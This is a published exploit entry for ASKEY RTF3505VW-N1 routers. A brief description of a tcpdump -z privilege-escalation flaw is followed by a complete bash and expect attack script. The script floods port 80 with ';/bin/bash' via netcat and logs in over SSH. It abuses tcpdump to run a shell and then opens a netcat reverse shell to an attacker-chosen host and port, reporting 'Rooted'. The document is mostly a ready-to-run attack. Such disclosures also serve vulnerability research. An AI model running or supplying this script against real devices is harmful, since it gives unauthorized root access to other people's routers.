ASKEY RTF3505VW-N1 – Privilege Escalation
# Exploit Title: ASKEY RTF3505VW-N1 - Privilege escalation # Date: 07-12-2022 # Exploit Author: Leonardo Nicolas Servalli # Vendor Homepage: www.askey.com # Platform: ASKEY router devices RTF3505VW-N1 # Tested on: Firmware BR_SV_g000_R3505VMN1001_s32_7 # Vulnerability analysis: https://github.com/leoservalli/Privilege-escalation-ASKEY/blob/main/README.md #Description: #---------- # Mitrastar ASKEY RTF3505VW-N1 devices are provided with access through ssh into a restricted default shell (credentials are on the back of the router and in some cases this routers use default credentials). # The command “tcpdump” is present in the restricted shell and do not handle correctly the -z flag, so it can be used to escalate privileges through the creation of a local file in the /tmp directory of the router, and injecting packets through port 80 used for the router's Web GUI) with the string ";/bin/bash" in order to be executed by "-z sh". By using “;/bin/bash” as injected string we can spawn a busybox/ash console. #Exploit: #-------- #!/usr/bin/bash if [ -z "$@" ]; then echo "Command example: $0 routerIP routerUser routerPassword remoteIPshell remotePortShell " exit 0 fi for K in $(seq 1 15) # Attemps do echo "**************************************************************************************" echo "******************************** Attempt number $K ************************************" echo "**************************************************************************************" for l in $(seq 1 200) ; do echo ";/bin/bash" | nc -p 8888 $1 80 ; done > /dev/null 2>&1 & # start a background loop injecting the string ";/bin/bash" on the port 80 of the router # Expect script for interact with the router through SSH, login, launch the tcpdump with the option "-z sh", and finally launch a more stable busybox reverse shell to our listener /usr/bin/expect << EOD spawn ssh $2@$1 expect { "password: " { send "$3\r" expect ">" send -- "tcpdump -v -ln -i any -w /tmp/runme$K -W 1 -G 1 -z sh src port 8888\r" # filter by source port 8888 } "yes/no" { send "yes\r" #exp_continue } } set timeout 2 expect { timeout { puts "Timeout..." send "exit\r" exit 0 } "*usy*ox" { expect "#" send "rm /tmp/runme* \r" send "rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f | /bin/sh -i 2>&1|nc $4 $5 >/tmp/f \r" puts "Rooted !!!!!!!!!" set timeout -1 expect "NEVER_APPEARING_STRING#" # wait an infinite time to mantain the rverse shell open } } EOD done |